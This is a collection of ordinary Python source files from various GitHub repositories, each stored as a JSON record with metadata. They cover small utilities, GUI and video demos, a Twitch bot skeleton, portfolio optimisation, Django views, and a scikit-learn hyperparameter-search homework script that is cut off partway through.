+{"seq_id":"27305182722","text":"#!/usr/bin/python\n# coding: utf-8\n\ntry:\n    from msvcrt import getch\nexcept ImportError:\n    def getch ():\n        import sys\n        import tty\n        import termios\n        fd = sys.stdin.fileno()\n        old = termios.tcgetattr(fd)\n        try:\n            tty.setraw(fd)\n            return sys.stdin.read(1)\n        finally:\n            termios.tcsetattr(fd, termios.TCSADRAIN, old)\n\nflag = True\nwhile flag:\n    key = ord(getch())\n    print(key)\n    if key == 113:\n        print('q')\n        flag = False\n    else:\n        print('else')\n\n","repo_name":"gungungggun/workspace","sub_path":"python-test/keyborad2.py","file_name":"keyborad2.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18818254243","text":"import sys\nfrom PyQt5.QtGui import QPainter, QColor\nfrom PyQt5 import uic\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\nfrom random import randint\n\nclass Example(QMainWindow):\n    def __init__(self):\n        super().__init__()\n        uic.loadUi('UI.ui', self)\n        self.pushButton.clicked.connect(self.run)\n        self.flag = False\n\n    def run(self):\n        self.flag = True\n        self.repaint()\n\n    def paintEvent(self, e):\n        qp = QPainter()\n        qp.begin(self)\n        if self.flag:\n            qp.setBrush(QColor(*[250, 250, 0]))\n            size = randint(10, 200)\n            x, y = randint(10, 500), randint(10, 500)\n            qp.drawEllipse(x, y, size, size)\n            self.flag = False\n        qp.end()\n\ndef except_hook(cls, exception, traceback):\n    sys.__excepthook__(cls, exception, traceback)\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    ex = Example()\n    ex.show()\n    sys.excepthook = except_hook\n    sys.exit(app.exec())\n","repo_name":"konstalker1/git-kw2","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31763456917","text":"from pyvis.network import Network\n\n\nDEFAULT_COLOR   = \"#E6A879\"\nEND_COLOR       = \"#e68878\"\nSTART_COLOR     = \"#78e69a\"\n\ndef show_network(input,name=\"test.html\"):\n    nt=Network(directed=True)\n    if isinstance(input,dict):\n        values_list = set()\n        for v in input.values():\n            values_list.update(v)\n        for k in input.keys():\n            if k not in values_list:\n                nt.add_node(k.split(\"/wiki/\",1)[1],color=START_COLOR)\n                continue\n            nt.add_node(k.split(\"/wiki/\",1)[1],color=DEFAULT_COLOR)\n        for k,v in input.items():\n            for edge in v:\n                if edge not in nt.node_ids:\n                    nt.add_node(edge.split(\"/wiki/\",1)[1],color=END_COLOR)\n                nt.add_edge(k.split(\"/wiki/\",1)[1],edge.split(\"/wiki/\",1)[1],color=\"#000000\")\n    nt.repulsion(200)\n    nt.show(name,notebook=False,)","repo_name":"hurricaneJoef/WIKI_LINKS","sub_path":"visualizer.py","file_name":"visualizer.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"14629690285","text":"#!/usr/bin/python3\n\"\"\" Imports \"\"\"\nfrom sys import argv\nfrom urllib.request import Request, urlopen\nfrom urllib.parse import urlencode\n\n\ndef main(value):\n    \"\"\" takes in a URL and an email, sends a POST\n        request to the passed URL with the\n        email as a parameter.\n    \"\"\"\n    URL = value[1]\n    headers = {'email': value[2]}\n\n    data = urlencode(headers)\n    data = data.encode('ascii')\n\n    req = Request(url=URL, data=data)\n\n    with urlopen(req) as response:\n        text = response.read()\n        print(text.decode('utf-8'))\n\n\nif __name__ == '__main__':\n    main(argv)\n","repo_name":"giovannyortegon/holbertonschool-higher_level_programming","sub_path":"0x11-python-network_1/2-post_email.py","file_name":"2-post_email.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"4889853960","text":"from django.core.exceptions import PermissionDenied\n\ndef datetime_subtractor(new_datetime, old_datetime):\n\tsub = new_datetime - old_datetime\n\ttotal_seconds = sub.total_seconds()\n\tseconds_for_all_days = (sub.days * 24 * 3600)\n\tremainder = total_seconds - seconds_for_all_days #if we don't consider the days\n\thours_left_complete = remainder / 3600\n\thours_left = int(remainder//3600)  #\t\t\t\t\t\t\t\t\t\t\t\t\t\tHours\t\t\t\t\n\tminutes_left_complete = (hours_left_complete - hours_left) * 60 #get the minutes\n\tminutes_left = int(minutes_left_complete) #decimal part of the number\t\t\t\t\t\tMinutes\n\tseconds_left_complete = (minutes_left_complete -  minutes_left) * 60\n\tseconds_left = int(seconds_left_complete) #\t\t\t\t\t\t\t\t\t\t\t\t\tSeconds\n\n\tanswer = {}\n\n\tif sub.days > 0:\n\t\tanswer['days'] = sub.days\n\telse:\n\t\tanswer['days'] = 0\n\n\tif hours_left > 0:\n\t\tanswer['hours'] = hours_left\t\n\telse:\n\t\tanswer['hours'] = 0\n\n\tif minutes_left > 0:\n\t\tanswer['minutes'] = minutes_left\t\n\telse:\n\t\tanswer['minutes'] = 0\n\n\tif seconds_left > 0:\n\t\tanswer['seconds'] = seconds_left\t\n\telse:\n\t\tanswer['seconds'] = 0\n\n\treturn answer\n\ndef datetime_generator(datetime_dict, date_created):\n    \"\"\"This function changes the format of datetime dictionary(from datetime_subtractor) given to it, to ...ago format\"\"\"\n    days = datetime_dict.get('days')\n    hours = datetime_dict.get('hours')\n    minutes = datetime_dict.get('minutes')\n    seconds = datetime_dict.get('seconds')\n\n    if days > 0:\n        if days == 7:\n            return 'a week ago'\n        elif days == 1:\n            return 'yesterday'\n        elif 1 < days < 7:\n            return f'{days} days ago'\n        elif days > 7:\n            return date_created\n    elif days == 0:  # 23 hours and less\n        if hours > 0:\n            if hours == 1:\n                return 'an hour ago'\n            elif 1 < hours < 24:\n                return f'{hours} hours ago'\n        elif hours == 0:  # 59 minutes and less\n            if minutes > 0:\n                if minutes == 1:\n                    return 'a minute ago'\n                elif 1 < minutes < 60:\n                    return f'{minutes} minutes ago'\n            elif minutes == 0:  # 59 seconds and less\n                if seconds > 0:\n                    if seconds == 1:\n                        return 'a seconds ago'\n                    elif 1 < seconds < 60:\n                        return f'{seconds} seconds ago'\n\n\nclass OnlySameUserCanEditMixin(object): #only the user has access to edit-profile page specific to that user\n\n    def has_permissions(self):\n        return self.get_object().user == self.request.user\n\n    def dispatch(self, request, *args, **kwargs):\n        if not self.has_permissions():\n            raise PermissionDenied('You don\\'t have access to this url')\n        return super(OnlySameUserCanEditMixin, self).dispatch(request, *args, **kwargs)\n        ","repo_name":"Ali-Fattahian/instagram-clone","sub_path":"instagram_clone/core/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13416930620","text":"from moviepy.editor import concatenate_videoclips, VideoFileClip, CompositeVideoClip, AudioFileClip, ImageClip\n\n\ndef make_video_from_data():\n    # title audio\n    titleAudio = AudioFileClip('./video_assets/titleTTS.mp3')\n    duration = titleAudio.duration\n\n    # the title\n    titleVideoClip = VideoFileClip(\"./initial_assets/minecraft.mp4\").subclip(10,10+duration).without_audio()\n    titleImageClip = ImageClip(\"./video_assets/title.png\", duration=duration).set_position('center')\n    titleComposite = CompositeVideoClip([titleVideoClip, titleImageClip])\n\n    titleComposite.audio = titleAudio\n\n\n    # comment audio\n    commentAudio = AudioFileClip('./video_assets/commentTTS.mp3')\n    commentDuration = commentAudio.duration\n    # the comment\n    commentVideoClip = VideoFileClip(\"./initial_assets/minecraft.mp4\").subclip(10+duration,10+duration+commentDuration).without_audio()\n    commentImageClip = ImageClip(\"./video_assets/comment.png\", duration=commentDuration).set_position('center')\n    commentComposite = CompositeVideoClip([commentVideoClip, commentImageClip])\n\n    commentComposite.audio = commentAudio\n\n    # conncatinating the two of the\n    final = concatenate_videoclips([titleComposite, commentComposite])\n\n    # creating the video\n    final.write_videofile(\"./final/reddit-video.mp4\")","repo_name":"mahithsc/reddit-video-bot","sub_path":"make_movie.py","file_name":"make_movie.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11146452252","text":"# Import libraries\nimport logging\nimport os\nimport sys\nimport traceback\nfrom typing import Any, Dict, List\n\nimport yaml\nfrom aiohttp import ClientSession\nfrom aiohttp.web_runner import GracefulExit\nfrom twitchio.ext import commands\n\n\n# Define function to process yaml config file\ndef process_config_file() -> Any:\n    with open(\"config.yaml\", \"r\") as stream:\n        config_options = yaml.safe_load(stream)\n\n    return config_options\n\n\n# Define Bot class\nclass Bot(commands.Bot):\n    SEND_API = \"https://emohuman.com/send_text\"\n\n    def __init__(\n        self,\n        access_token: str,\n        prefix: str,\n        initial_channels: List[str],\n        conf_options: Dict[str, Any],\n    ):\n        \"\"\"\n        Tells the Bot class which token it should use, channels to connect to and prefix to use.\n        \"\"\"\n        self.conf_options = conf_options\n        super().__init__(token=access_token, prefix=prefix, initial_channels=initial_channels)\n\n    async def ainit(self) -> None:\n        self.session = ClientSession()\n\n\nif __name__ == \"__main__\":\n    conf_options = process_config_file()\n    if conf_options[\"APP\"][\"DEBUG\"] == True:\n        logging.basicConfig(level=logging.DEBUG)\n    channel_names = []\n    for channel in conf_options[\"APP\"][\"ACCOUNTS\"]:\n        channel_names.append(\"#\" + channel[\"name\"])\n    bot = Bot(\n        access_token=conf_options[\"APP\"][\"ACCESS_TOKEN\"],\n        prefix=\"!\",\n        initial_channels=channel_names,\n        conf_options=conf_options,\n    )\n\n    for filename in os.listdir(\"./modules/cogs/\"):\n        if filename.endswith(\".py\"):\n            try:\n                bot.load_module(f\"modules.cogs.{filename.strip('.py')}\")\n            except Exception:\n                print(f\"Failed to load extension modules.cogs.{filename}.\", file=sys.stderr)\n                traceback.print_exc()\n\n    bot.loop.create_task(bot.ainit())\n    bot.loop.create_task(bot.connect())\n    try:\n        bot.loop.run_forever()\n    except GracefulExit:\n        sys.exit(0)\n","repo_name":"emoshape/EmoSpark-Twitch","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"37024220041","text":"import requests, re\n\ndef nombre_con_A():\n    request = requests.get('https://pokeapi.co/api/v2/pokemon?offset=0&limit=1200')\n    data = request.json()\n    count = 0\n    for element in data[\"results\"]:\n        if element[\"name\"].count('a') == 2 and re.findall(r'at', element[\"name\"]):\n            count += 1\n    return count \n\n","repo_name":"AngelAyalaM/Prueba_tecnica","sub_path":"filtroNombre.py","file_name":"filtroNombre.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38075020130","text":"import portfolioopt as pfopt\nimport math\nimport matplotlib.pyplot as plt\n\n\nclass MarkowitzPortfolio:\n    def __init__(self, stocks_data):\n        \"\"\"\n        returns is pandas.DataFrame\n        target_ret is floating point of expected return of the investor\n        weights is pandas.Series\n        \"\"\"\n        self.stocks_data = stocks_data\n        self.returns = stocks_data.gathered_returns\n        self.ret = 0.0\n        self.std = 0.0\n        self.annual_return_pct = 0.0\n        self.annual_relative_std = 0.0\n        self.annual_std_pct = 0.0\n        self.avg_rets = self.returns.mean()\n        self.cov_mat = self.returns.cov()\n        self.weights = None\n\n    def calculate_portfolio(self, target_return):\n        \"\"\"\n        we get year target return in %,\n        so its necessary to convert it to clear numbers\n        convert to monthly, because data is collapsed by monthly\n        \"\"\"\n        target_ret = target_return / (100 * 12)\n        self.weights = pfopt.markowitz_portfolio(\n            self.cov_mat, self.avg_rets, target_ret)\n        self.calculate_returns_stds()\n\n    def calculate_best_tangency_portfolio(self):\n        self.weights = pfopt.tangency_portfolio(self.cov_mat, self.avg_rets)\n        self.calculate_returns_stds()\n\n    def calculate_returns_stds(self):\n        self.ret = (self.weights * self.avg_rets).sum()\n        self.std = (self.weights * self.returns).sum(1).std()\n        self.annual_relative_std = (self.std * math.sqrt(12) * 100) / (self.ret * 12)\n        self.annual_return_pct = (self.weights * self.avg_rets).sum() * 12 * 100\n        self.annual_std_pct = self.std * math.sqrt(12) * 100\n        self.weights.index = [stock.ticker for stock in self.stocks_data.stocks]\n        self.weights.name = 'Markowitz Portfolio'\n\n    def add_stock(self, ticker):\n\n        self.stocks_data.add_stock(ticker)\n        self.returns = self.stocks_data.gathered_returns\n        self.avg_rets = self.returns.mean()\n        self.cov_mat = self.returns.cov()\n\n\n    def remove_stock(self, ticker):\n        self.stocks_data.remove_stock(ticker)\n        self.returns = self.stocks_data.gathered_returns\n        self.avg_rets = self.returns.mean()\n        self.cov_mat = self.returns.cov()\n\n    def plot_portfolio(self):\n        \"\"\"\n        0.0001 = 0.01% is minimum percentage for weight of stock to be plotted\n        \"\"\"\n        plot_data = self.weights[self.weights >= 0.0001]\n        plot_data.plot.pie(\n            subplots=True, figsize=(6, 6), fontsize=20, autopct='%.2f')\n        plt.show()\n\n    def plot_efficient_frontier(self):\n        import numpy as np\n        import cvxopt as opt\n        from cvxopt import blas, solvers\n\n        returns = self.stocks_data.gathered_returns.values.T\n        n = len(returns)\n        returns = np.asmatrix(returns)\n\n        N = 100\n        mus = [10 ** (5.0 * t / N - 1.0) for t in range(N)]\n\n        # Convert to cvxopt matrices\n        S = opt.matrix(np.cov(returns))\n        pbar = opt.matrix(np.mean(returns, axis=1))\n\n        # Create constraint matrices\n        G = -opt.matrix(np.eye(n))  # negative n x n identity matrix\n        h = opt.matrix(0.0, (n, 1))\n        A = opt.matrix(1.0, (1, n))\n        b = opt.matrix(1.0)\n\n        # Calculate efficient frontier weights using quadratic programming\n        solvers.options['show_progress'] = False\n        portfolios = [solvers.qp(mu * S, -pbar, G, h, A, b)['x']\n                      for mu in mus]\n        # CALCULATE RISKS AND RETURNS FOR FRONTIER\n        returns = [blas.dot(pbar, x) for x in portfolios]\n        risks = [np.sqrt(blas.dot(x, S * x)) for x in portfolios]\n        annual_returns_pct = [(x * 100 * 12) for x in returns]\n        annual_risk_pct = [(y * 100 * math.sqrt(12)) for y in risks]\n\n        plt.ylabel('Annual returns, %')\n        plt.xlabel('Annual risk, %')\n        plt.plot(annual_risk_pct, annual_returns_pct, 'y-o')\n        plt.show()\n","repo_name":"RakovBogdan/StocksPython","sub_path":"markowitz_portfolio.py","file_name":"markowitz_portfolio.py","file_ext":"py","file_size_in_byte":3897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30704024627","text":"import json\nfrom logging import getLogger\nfrom django.utils.translation import gettext as _\n\nfrom rest_framework.request import Request\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view, renderer_classes\nfrom rest_framework.renderers import TemplateHTMLRenderer, JSONRenderer\n\nfrom .forms import AllFieldsForm\nfrom .models import PolarisStellarAccount\nfrom polaris.utils import render_error_response\n\n\nlogger = getLogger(__name__)\n\n\n@api_view([\"GET\"])\n@renderer_classes([TemplateHTMLRenderer])\ndef all_fields_form_view(request: Request) -> Response:\n    return Response(\n        {\n            \"form\": AllFieldsForm(),\n            \"guidance\": _(\"This form contains every field type.\"),\n        },\n        template_name=\"polaris/deposit.html\",\n    )\n\n\n@api_view([\"GET\"])\n@renderer_classes([TemplateHTMLRenderer])\ndef confirm_email(request: Request) -> Response:\n    if not (request.GET.get(\"token\") and request.GET.get(\"email\")):\n        return render_error_response(\n            \"email and token arguments required.\", content_type=\"text/html\"\n        )\n\n    try:\n        account = PolarisStellarAccount.objects.get(\n            user__email=request.GET.get(\"email\"),\n            confirmation_token=request.GET.get(\"token\"),\n        )\n    except PolarisStellarAccount.DoesNotExist:\n        return render_error_response(\n            \"User with email and token does not exist\", content_type=\"text/html\"\n        )\n\n    account.confirmed = True\n    account.save()\n\n    return Response(template_name=\"email_confirmed.html\")\n\n\n@api_view([\"GET\"])\n@renderer_classes([JSONRenderer])\ndef skip_confirm_email(request: Request) -> Response:\n    account = request.session.get(\"account\")\n    num_updated = PolarisStellarAccount.objects.filter(account=account).update(\n        confirmed=True\n    )\n    if num_updated == 0:\n        return Response(\n            {\"status\": \"not found\"}, status=404, content_type=\"application/json\"\n        )\n    else:\n        if num_updated > 1:\n            logger.warning(\n                f\"Approved multiple PolarisStellarAccounts for address: {account}\"\n            )\n        return Response({\"status\": \"success\"}, content_type=\"application/json\")\n\n\n@api_view([\"POST\"])\n@renderer_classes([JSONRenderer])\ndef log_callback(request):\n    \"\"\"\n    The URL for this endpoint is can be used by clients as the on_change_callback URL\n    to test Polaris' on_change_callback requests.\n    \"\"\"\n    logger.info(\n        f\"on_change_callback request received: {json.dumps(request.data, indent=2)}\"\n    )\n    return Response({\"status\": \"ok\"}, status=200)\n","repo_name":"stellar/django-polaris","sub_path":"server/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"60"}
+{"seq_id":"74936580350","text":"def webcam(session, enable = True, foreground_color = (0,255,0,255), saturation = 5,\n           flip_horizontal = True, name = None, size = None, framerate = 25,\n           color_popup = False):\n\n    from .camera import WebCam\n \n    wc_list = session.models.list(type = WebCam)\n    if enable:\n        if len(wc_list) == 0:\n            wc = WebCam('webcam', session,\n                        foreground_color = foreground_color, saturation = saturation,\n                        flip_horizontal = flip_horizontal, color_popup = color_popup,\n                        camera_name = name, size = size, framerate = framerate)\n            session.models.add([wc])\n        else:\n            wc = wc_list[0]\n            wc.foreground_color = foreground_color\n            wc.saturation = saturation\n            wc.flip_horizontal = flip_horizontal\n            wc.color_popup = color_popup\n        \n#        if set_window_size:\n#            wc.set_window_size()\n    else:\n        session.models.close(wc_list)\n            \n# -----------------------------------------------------------------------------\n#\ndef register_command(logger):\n    from chimerax.core.commands import CmdDesc, register, create_alias\n    from chimerax.core.commands import BoolArg, Color8Arg, IntArg, FloatArg, Int2Arg, StringArg\n    desc = CmdDesc(optional = [('enable', BoolArg)],\n                   keyword = [('foreground_color', Color8Arg),\n                              ('saturation', IntArg),\n                              ('flip_horizontal', BoolArg),\n                              ('color_popup', BoolArg),\n                              ('name', StringArg),\n                              ('size', Int2Arg),\n                              ('framerate', FloatArg)],\n                   synopsis = 'Turn on webcam rendering')\n    register('webcam', desc, webcam, logger=logger)\n    create_alias('device webcam', 'webcam $*', logger=logger)\n","repo_name":"RBVI/ChimeraX","sub_path":"src/bundles/webcam/src/webcam.py","file_name":"webcam.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"60"}
+{"seq_id":"22312117707","text":"#******************************************************************\r\n# DS 7337 - Machine Learning 2\r\n# Author: Brandon Croom\r\n# Assignment: Homework 2\r\n# Date: 6/3/2020\r\n#******************************************************************\r\n\r\n#******************************************************************\r\n# Assignment Parameters \r\n#\r\n# 1. Write a function to take a list or dictionary of clfs and hypers ie use\r\n#   logistic regression, each with 3 different sets of hyper parameters for each\r\n#\r\n# 2. expand to include larger number of classifiers and hyperparameter settings\r\n#\r\n# 3. find some simple data\r\n#\r\n# 4. generate matplotlib plots that will assist in identifying the optimal clf\r\n#   and parameters settings\r\n# \r\n# 5. Please set up your code to be run and save the results to the\r\n#   directory that its executed from\r\n#\r\n# 6. Investigate grid search function\r\n#*******************************************************************\r\n\r\n# import necessary libraries\r\nimport numpy as np\r\nimport itertools\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn import datasets\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.model_selection import KFold \r\nfrom sklearn.model_selection import GridSearchCV\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.linear_model import LogisticRegression\r\n\r\n#********************************************************************\r\n# Define dictionaries and global variables for use in the program\r\n#********************************************************************\r\n#\r\n# set the number of folds we want for k-folds. Start at 5\r\nn_folds = 5\r\n\r\n# define the initial set of models we want to compare as a dictionary.\r\n# Because this is a dictionary we can add/remove as needed\r\nmodel_dict = {\r\n    'RandomForestClassifier': RandomForestClassifier,\r\n    'KNeighboursClassifier': KNeighborsClassifier,\r\n    'LogisticRegression': LogisticRegression\r\n}\r\n\r\n# define the optimization parameters for the models above. Selected just a few of \r\n# the possible parameters. Because this is a dictionary we can add/remove as needed\r\nmodel_params_dict = {\r\n    'RandomForestClassifier':{ \r\n            \"n_estimators\"      : [100, 200, 500, 1000],\r\n            \"max_features\"      : [\"auto\", \"sqrt\", \"log2\"],\r\n            \"bootstrap\": [True],\r\n            \"criterion\": ['gini', 'entropy'],\r\n            \"oob_score\": [True, False]\r\n            },\r\n    'KNeighboursClassifier': {\r\n        'n_neighbors': np.arange(3, 15),\r\n        'weights': ['uniform', 'distance'],\r\n        'algorithm': ['ball_tree', 'kd_tree', 'brute']\r\n        },\r\n    'LogisticRegression': {\r\n        'solver': ['newton-cg', 'sag', 'lbfgs'],\r\n        'multi_class': ['ovr', 'multinomial']\r\n        }  \r\n}\r\n\r\n#**********************************************************************************\r\n# Define methods for use in the script\r\n# *********************************************************************************\r\n#\r\n# METHOD NAME: run\r\n# METHOD DESC: This method processes a dictionary of clfs with optional hyperparameters againsts a \r\n#              provided set of data. The functions returns a dictionary containing the clf name, \r\n#              results of the train/test split and the accuracy score of the clf execution\r\n# INPUTS:\r\n#   - a_clf - a dictionary containing a listing of clfs for execution\r\n#   - data - a tuple containing the data, target variable and number of folds to be executed\r\n#   - clf_hyper - optional parameter, a dictionary containing the hyperparameter combinations to be\r\n#                 used in the clf\r\n# OUTPUTS:\r\n#   - no return value\r\n#   - will output matplotlib plots to the directory where the script is executed\r\n#\r\n# NOTE: Code below has been provided as part of the homework assignment\r\n\r\ndef run(a_clf, data, clf_hyper={}):\r\n  M, L, n_folds = data \r\n  kf = KFold(n_splits=n_folds) \r\n  ret = {} \r\n\r\n  for ids, (train_index, test_index) in enumerate(kf.split(M, L)): \r\n    clf = a_clf(**clf_hyper) \r\n    clf.fit(M[train_index], L[train_index])\r\n    pred = clf.predict(M[test_index]) \r\n    ret[ids]= {'clf': clf,                   \r\n               'train_index': train_index,\r\n               'test_index': test_index,\r\n               'accuracy': accuracy_score(L[test_index], pred)}\r\n\r\n  return ret\r\n\r\n# METHOD NAME: plot_parameters\r\n# METHOD DESC: This method processes a dictionary  containing a listing of clfs, hyperparameters and\r\n#              output results. The method configures matplotlib to plot the results and then both\r\n#              displays the plots and saves the plots to the current directory where the script is\r\n#              executing\r\n# INPUTS:\r\n#   - clfsAccuracyDict - the dictionary containing a listing of clfs, hyperparameters and\r\n#                        output results for plotting\r\n#   - filename - optional parameter, provided to allow custom filenames for saving\r\n# OUTPUTS:\r\n#   - no return value\r\n#   - will output matplotlib plots to the directory where the script is executed\r\n#\r\n# NOTE: Code below was from office hours with D. Stroud. All comments from the code left intact\r\n#       Code has been moved to a method to make the overall code base readable.\r\n\r\ndef plot_parameters(clfsAccuracyDict,filename='clf_Histograms_'):\r\n    # for naming the plots\r\n    filename_prefix = filename\r\n\r\n    # initialize the plot_num counter for incrementing in the loop below\r\n    plot_num = 1\r\n\r\n    # Adjust matplotlib subplots for easy terminal window viewing\r\n    left  = 0.125  # the left side of the subplots of the figure\r\n    right = 0.9    # the right side of the subplots of the figure\r\n    bottom = 0.1   # the bottom of the subplots of the figure\r\n    top = 0.6      # the top of the subplots of the figure\r\n    wspace = 0.2   # the amount of width reserved for space between subplots,\r\n                   # expressed as a fraction of the average axis width\r\n    hspace = 0.2   # the amount of height reserved for space between subplots,\r\n                   # expressed as a fraction of the average axis height\r\n                   \r\n    # for determining maximum frequency (# of kfolds) for histogram y-axis\r\n    n = max(len(v1) for k1, v1 in clfsAccuracyDict.items())\r\n\r\n    #create the histograms\r\n    #matplotlib is used to create the histograms: https://matplotlib.org/index.html\r\n    for k1, v1 in clfsAccuracyDict.items():\r\n        # for each key in our clfsAccuracyDict, create a new histogram with a given key's values\r\n        fig = plt.figure(figsize =(10,10)) # This dictates the size of our histograms\r\n        ax  = fig.add_subplot(1, 1, 1) # As the ax subplot numbers increase here, the plot gets smaller\r\n        plt.hist(v1, facecolor='green', alpha=0.75) # create the histogram with the values\r\n        ax.set_title(k1, fontsize=25) # increase title fontsize for readability\r\n        ax.set_xlabel('Classifer Accuracy (By K-Fold)', fontsize=25) # increase x-axis label fontsize for readability\r\n        ax.set_ylabel('Frequency', fontsize=25) # increase y-axis label fontsize for readability\r\n        ax.xaxis.set_ticks(np.arange(0, 1.1, 0.1)) # The accuracy can only be from 0 to 1 (e.g. 0 or 100%)\r\n        ax.yaxis.set_ticks(np.arange(0, n+1, 1)) # n represents the number of k-folds\r\n        ax.xaxis.set_tick_params(labelsize=20) # increase x-axis tick fontsize for readability\r\n        ax.yaxis.set_tick_params(labelsize=20) # increase y-axis tick fontsize for readability\r\n        #ax.grid(True) # you can turn this on for a grid, but I think it looks messy here.\r\n\r\n        # pass in subplot adjustments from above.\r\n        plt.subplots_adjust(left=left, right=right, bottom=bottom, top=top, wspace=wspace, hspace=hspace)\r\n        plot_num_str = str(plot_num) #convert plot number to string\r\n        filename = filename_prefix + plot_num_str # concatenate the filename prefix and the plot_num_str\r\n        plt.savefig(filename, bbox_inches = 'tight') # save the plot to the user's working directory\r\n        plot_num = plot_num+1 # increment the plot_num counter by 1\r\n    plt.show()\r\n    \r\n# METHOD NAME: groupClassifiers\r\n# METHOD DESC: This method processes a dictionary containing the output results of the run function. \r\n#              The method will iterate through the dictionary to find the combination with the highest\r\n#              accuracy score. The combination of the highest accuracy score will be returned as a \r\n#              dictionary as output\r\n# INPUTS:\r\n#   - results_dict - the dictionary containing a listing of clfs, hyperparameters and output results\r\n# OUTPUTS:\r\n#   - returns a dictionary containing the best permutation of results for plotting\r\n#\r\n# NOTE: Code below was from office hours with D. Stroud. All comments from the code left intact\r\n#       Code has been moved to a method to make the overall code base readable. \r\n\r\ndef groupClassifiers(results_dict):\r\n    clfsAccuracyDict = {}\r\n    \r\n    for key in results_dict:\r\n        k1 = results_dict[key]['clf']\r\n        v1 = results_dict[key]['accuracy']\r\n        k1Test = str(k1) #Since we have a number of k-folds for each classifier...\r\n                         #We want to prevent unique k1 values due to different \"key\" values\r\n                         #when we actually have the same classifer and hyper parameter settings.\r\n                         #So, we convert to a string\r\n\r\n        #String formatting\r\n        k1Test = k1Test.replace('            ',' ') # remove large spaces from string\r\n        k1Test = k1Test.replace('          ',' ')\r\n\r\n        #Then check if the string value 'k1Test' exists as a key in the dictionary\r\n        if k1Test in clfsAccuracyDict:\r\n            clfsAccuracyDict[k1Test].append(v1) #append the values to create an array (techically a list) of values\r\n        else:\r\n            clfsAccuracyDict[k1Test] = [v1] #create a new key (k1Test) in clfsAccuracyDict with a new value, (v1)\r\n\r\n    return(clfsAccuracyDict)\r\n\r\n# METHOD NAME: hyper_search\r\n# METHOD DESC: This method processes dictionaries of clfs and hyperparamters against a data set\r\n#              The method will then determine the best clf/hyperparameter combination and output\r\n#              matplot lib plots to show confirmation.\r\n# INPUTS:\r\n#   - model_dict - the dictionary containing a listing of clfs \r\n#   - param_dict - the dictionary containing the parameters for the clfs\r\n#   - data - the packed data containing the number of folds\r\n#   - filename - optional parameter, used for naming the plot outputs\r\n# OUTPUTS:\r\n#   - no returned values\r\n#   - will output into running directory matplotlib plots of best clf/hyper permutations\r\n#\r\ndef hyper_search(model_dict, param_dict, data, filename=''):\r\n    # define empty dictionaries to start\r\n    np_results = {}\r\n    accuracyDics = {}\r\n    \r\n    # iterate through the model dictionary to execute each model\r\n    for key, value in model_dict.items():\r\n        # just for grins, let the user know which model we're processing\r\n        print('Processing Model: ', key)\r\n        \r\n        # get the hyper parameter dictionary listings for the specific model\r\n        paramDict = param_dict[key]\r\n        \r\n        # take our hyper parameter dictionary and use itertools to build out\r\n        # all possible permutations for execution\r\n        keys1, values1 = zip(*paramDict.items())\r\n        paramList = [dict(zip(keys1, v)) for v in itertools.product(*values1)]\r\n        \r\n        # iterate through the hyper parameter permutations and execute them\r\n        for dic in paramList:\r\n            # execute the run function on each model type and hyper parameter configuration\r\n            # add the results to the np_results dictionary for use in other methods\r\n            np_results.update(run(value, data, dic))\r\n           # results = run(value, data, dic)\r\n            \r\n        # find the classifiers for plotting from all the permutations we've run through\r\n        # this will get us to the \"best\" permutation of results to plot and prevent us\r\n        # from printing 100's of plots\r\n        accuracyDics.update(groupClassifiers(np_results))\r\n\r\n\r\n    #plot the parameters\r\n    plot_parameters(accuracyDics,filename)\r\n\r\n#*****************************************************************************************\r\n# Begin execution of code testing and development with multiple iterations of the \r\n# executions for sanity checks\r\n#*****************************************************************************************\r\n\r\n# Load the necessary data set. For this example let's use the breast cancer data set\r\ncancer_data, cancer_target = datasets.load_breast_cancer(return_X_y=True)\r\n\r\n# build out the data set to pass to run\r\ndata = (cancer_data, cancer_target,n_folds)\r\n\r\n#*****************************************************************************************\r\n# START - execute the final hyper_search code to take the parameters and data and output the \r\n#         histograms\r\n#****************************************************************************************\r\nhyper_search(model_dict, model_params_dict, data, \"BCroom_clf_Histograms_\")\r\n\r\n#*****************************************************************************************\r\n# END - full run of modified code using hyper parameters\r\n#****************************************************************************************\r\n\r\n# NOTE: The sections of commented code below are my sanity checks that the final function\r\n#       was able to be built the way I wanted it to be. I'm going to leave these sections\r\n#       in here just for purposes to show my though process.     \r\n\r\n#*****************************************************************************************\r\n# START - Initial run of the methods above with single clf and no hyper parameters to verify logic\r\n#*****************************************************************************************\r\n# results = run(RandomForestClassifier, data, clf_hyper={})\r\n\r\n# # find the classifiers for plotting\r\n# accuracyDics = groupClassifiers(results)\r\n\r\n# # plot 